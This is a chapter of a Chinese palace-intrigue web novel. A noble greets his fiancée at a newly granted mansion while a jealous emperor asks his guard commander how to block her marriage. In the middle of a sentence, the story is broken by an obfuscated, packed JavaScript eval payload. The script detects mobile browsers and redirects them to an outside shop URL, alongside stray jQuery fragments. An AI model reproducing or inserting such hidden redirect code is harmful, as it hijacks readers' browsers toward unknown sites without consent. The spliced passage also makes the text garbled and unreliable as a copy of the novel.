下了场春雨,建安的天一日日热起来。柳树虽然还没冒芽,玉兰花却已经一片一片地开,像玉盏一样玲珑可爱。
梅花自然也开着,天子新赐的宅子里,梅树依景而植,除了盛夏光景,应当都有花看。沈均鼻尖萦绕着梅花香味,在门口有一搭没一搭地和尚兖真闲聊。
尚兖真贼眉鼠眼地问:“虎符,陛下真赐下来了?”
说起这个沈均就烦。
距离封赏之日过去七天,他真的出宫还是在昨天。那虎符本来已经搁在了御案之上,可谢际为这个人要是装乖讨巧,沈均无论如何都绕不出他的圈子。
加上他那一身伤和那一沓子随沈均写的圣旨,再铁石心肠,也不忍心抛下他一个人出宫。结果待得时间一长,谢际为又用一套“那么多人看着,接都接了,除了你拿我谁都不放心”的说辞糊弄沈均。
也不知鬼迷哪里的心窍,反正,虎符又回到了沈均手里。
沈均无奈地叹了口气:“赐了。”
“还不如不赐!”
“你是不知道,我刚收到我父王的信,我感觉他吓都快吓死了,就差问我,他什么时候该准备一杯毒酒,好体体面面地送镇南王府全家上西天。”
沈均面无表情,眼睛跟死了十年的鱼一样无神。
尚兖真没忍住笑出声:“世子,王爷哪有这种意思。要我看,陛下是信任你信任得紧才赐下的,拿了就好好拿呗。”
他拍拍沈均的肩膀,宽慰道:“想那么多干嘛,柳姑娘这不是要来了吗?高兴点,你挂着一张脸,人家姑娘还以为你要悔婚呢。”
尚兖真不知个中原委,随意拿这事打趣。沈均白了他一眼,不想回这句话。
还好,那架比之京城世家明显朴素许多的马车已经映入眼帘。
“吁——”
老马稳稳地停在尚书府门前。
-----
沈均快走两步到车前,下人早已有眼力见地递上车凳。在沈均的注视之下,车帘被缓缓掀开。
那只掀帘子的手很纤秀,给人的感觉莫名很像今日建安盛开的玉兰,不嶙峋,很柔和。而后,沈均先看到一片淡紫色的衣角,穿得比城中女子稍微厚些。
他忙伸手去接,女子的如月光般温和的笑颜撞进沈均眼中,让他一下子仿佛回到几个月前的西北,心中熨帖。
这姑娘眉似远山,眼若秋水,带着江南女子的文雅。头发只用一根素钗挽着,身上唯一亮眼的配饰只有一对碧玉耳坠。
是沈均送的。
她扶着沈均的手下车站定,随即守礼地放手,信任地唤道:“沈郎。”
正是柳凝妍。
沈均一时竟不知该说什么,像个毛头小子一样挠头:“柳姑娘。”
身后,尚兖真无情地嘲笑。
沈均回头狠狠瞪了他一眼,却见柳凝妍以手捂唇,也是忍俊不禁,不由得无措。还是柳凝妍先开口:“我在进京路上就听说,陛下赐了沈郎这座梅园做尚书府,倒是赶巧,也让我沾沈郎的光。”
沈均噢噢几声:“是,这宅子确实很漂亮。我刚从宫中出来,还没仔细逛过,屋子也没挑。柳姑娘你看看你想住哪里,哪里都方便。”
他们边说话边往里走,尚兖真没忍住学了句:“还叫柳姑娘呢?”
“柳姑娘~”
沈均头也不抬,飞踢一脚,不理此人的哀嚎,心中也有点尴尬。他不好意思地看了看柳凝妍,试探道:“阿柳?我能这么叫你吗?”
“世子,你叫你岳丈也能这么叫。”尚兖真在后面看热闹不嫌事大。
沈均真想撕烂他那张嘴,眼神偷偷去瞟,柳凝妍扑哧一笑,点头:“可以,沈郎放心,没人叫我爹阿柳。”
“啊,是吗?那可真是太好了?”
“好,正好秦淮柳有名,叫阿柳也能显得更有文气一点。”
柳凝妍善解人意地望着沈均。
沈均紧张的心总算放了下来,他抹了把脑门上的汗,抱歉地回:“阿柳,我不是有意的,我只是太久没见你了,不知道为什么有点紧张。”
“你别怪我。”
柳凝妍自然摇头。
她这一路风尘仆仆,沈均怕她劳累,随便逛逛找好住的地方,就先一起用了饭,尚兖真当然也厚脸皮地一起蹭着吃。
柳凝妍话并不多,但说话娓娓道来,让人很想听。她讲了几件路上趣事,什么走在路上听到驴叫,走进一看居然是人在找驴自己叫的之类的,沈均听得津津有味,恨不得自己也叫两声。一顿饭吃得宾主尽欢,前几日的事情似乎都被抛在脑后。
但也只是似乎。
说话有来有往,柳凝妍说了,难免要问,沈均最近有没有什么有意思的事。他顺嘴笑着说:“有啊。”
“我前段日子不是在宫里住吗?偶然问陛下,为何前朝没笏板,他突然想着让朝臣恢复拿笏板的礼制。他和我说,朝臣昔日政见不合,顶多能互喷,但有了笏板之后就能直接朝上互殴,看着更有意思一些哈哈哈哈。”
“听说御史中丞和工部尚书那两个加起来快一百岁的老头就在朝上打起来过,真是可惜,我当时居然不在,错过这等有意思的场面。”
沈均在脑子里想着张晋和王恒亲手厮打的样子,实在觉得有意思,自顾自地笑了半天。回神抬头,却见尚兖真一副便秘的表情。
嗯?
什么意思?
不好笑吗?
沈均疑惑地望向他。
柳凝妍倒是也觉得好笑,给面子地带着笑意回:“真想不到,这些大人身居高位,居然也有意气用事的时候。”
沈均摆手:“害,高不高位和意气用事有什么关系。要说位高,陛下天下至尊,不也是天字第一号意气用事之人吗……”
话没说完,沈均猛地闭上嘴。
他自知失言,懊恼异常。含情欲说宫中事,鹦鹉前头不敢言。这宅子皇城脚下,宫中新赐,虽然表面无人监视,可也实在不该这样轻率地说话。
尚兖真脸色忐忑,柳凝妍却面色不变,知情识趣地换了个话题:
“说起来,沈郎你也知道。父亲毕生心血汇聚于天下水泾图中。我这次进京前,父亲特意让我带上这图,若有机会,献给陛下,希望能为治水派上些用场。我在想,不知能否麻烦沈郎帮我带给陛下?”
沈均一顿,忽然想起什么:“柳大人身在西北,心系家国,一片忠君之心,自然不能辜负。只是估计不用我代为传递……”
“阿柳。”
“前几日,陛下和我说,既然咱们的婚事是圣旨赐婚,等你进京,希望能进宫一见。他是好意,估计是还想赐些什么恩赏给你,只是……”
只是他的脾气那时候会不会又爆了,沈均也说不准。
可他也不能在这里直接说,只道:“若你觉得面君太紧张,不去也没关系。陛下宽宏,我同他说说,他会谅解的。”
柳凝妍稍稍歪头,凝思一瞬便笑道:“我自认还没那么胆小,沈郎不必太担心。”
“况且,你也说了,这如同谢恩一般,哪有不谢恩的道理,这怎么都说不过去,我没那么任性。”
她宽慰地拍拍沈均的手背。沈均呼吸一滞,犹豫地点头:“也是。”
“是我,是我想太多了。”
柳凝妍巧笑嫣然,不在意地看着他。沈均扒拉了几口菜,总觉得,心里有些不踏实。
似乎,山雨又欲来。
————
光影闪动,天子坐在两仪殿的屏风后,潜心画着一张图。
禁军首领方青卓跪在屏风之前,已经跪了小半个时辰。他拿眼神瞟着魏大伴,想让他给点提示,这老奴收了他那么多钱,现在居然一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370456|199874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
句话都不敢说,在一边装死。
方青卓快把祖宗八代干的缺德事都回忆完了,也没想明白,陛下这急急忙忙召进他殿,进了殿又不说话,到底是为了什么事?
画似乎画完了,天子把笔搁在一边,意味不明地问:“你觉得这画画得怎么样?”
谁觉得?
方青卓不觉得自己能看见,只听魏大伴谄媚地开口:“陛下,依老奴看,这出猎图那叫一个出神入化,这马上英姿,和世子简直是一模一样。就连踏云画得都如同真的飞起来一般,世子见了,一定喜欢。”
天子轻笑一声:“谁说画得是他?”
“谁要送他了?”
方青卓腹谤一声,噢,找我送画的。
他想不出还有第二种可能,一下子放下心来。屏风后,天子似乎挥了挥手,自有宫人立刻拿画轴装裱这图。
谢际为走了出来。
方青卓立刻叩首:“臣参见陛下。”
他等着天子吩咐这件根本不累人的活计,去尚书府沈世子面前讨个好。天子却出人意料地坐在了御座上,慢慢喝了口茶。
坏了。
不是这事儿?
方青卓心中一紧。
“不用跪,朕有件事想问你。”
方青卓闻言迅速站起身,拱手道:“陛下请问,臣知无不言,言无不尽。”
天子从喉咙里散出一声略带轻蔑的笑,笑得方青卓汗毛直立。茶杯被放下,天子开口问:“你说,朕要是,很不想一个女子成婚,能怎么做?”
嘶——
方青卓脑子里闪过无数个念头,仔细搜刮了一遍家里的女眷。他与妻子成婚三年,孩子都生了,应该不是她;族中诸妹都年幼,还没到议婚年纪,这……
他的脑子里突然闪过三个字。
出猎图。
朝中人称,方青卓算是天子身边一等一的好用鬣狗,佞臣做到极点。就这么兜了一圈,立刻明白刚刚想岔了。陛下关心他们家这种无名小卒干什么,想来想去,肯定还是因为那个人。
他眼角上扬,眉毛下垂,一副奸臣标准神色:“陛下,依臣看,让这女子病得不轻,行将就木,自然就成不了婚了。若是舟车劳顿远道而来,水土不服也是常有的事。”
这法子很方便,他要干的也最少。虽然害人有伤天德,但方青卓也不差这一件脏事。
天子冷哼一声。
“朕看,你是位子坐得太稳了,脑子也不会动了。要是不会动,给你的脑子换个地方也行。”
方青卓的冷汗“啪”得一下爆了出来。
他几乎是下意识跪在地上:“陛下恕罪,是臣想岔了。”
竟然不是沈世子的婚事吗?
不对,怎么可能不是他的?天子的眼睛里什么时候看得到其他人,又有哪个好人想着其他人的婚事时,放松的方式是给另一个人画肖像?
这是,不想让那个姑娘死?
方青桌打着颤开口:“陛下若是想要这女子心甘情愿地自己退婚,怕是有些难。她的夫家,应当是品行高洁身世显贵的高门,异位而处,臣也不愿放弃。”
“呵,朕叫你来,是叫你异位而处的吗?”
“朕竟不知道,方卿也喜欢这样设身处地地替别人着想?”
方青卓哪敢抬头去看天子的脸色,想想也知道阴沉得不像样。他的脑门死死贴在地上,飞速想着解救的法子。
如何能?如何可能?
破坏清誉?先不说能不能成功,真成功了,沈世子不在乎,那姑娘出身西北,肯定也不会在乎。
守孝三年?这姑娘就一个爹能死,顶多能再拖三年,三年后又是一场麻烦。
强取豪夺?有天子护着,兵符拿着,天底下谁能抢过沈世子去?
不对。
这不,有人能抢过吗?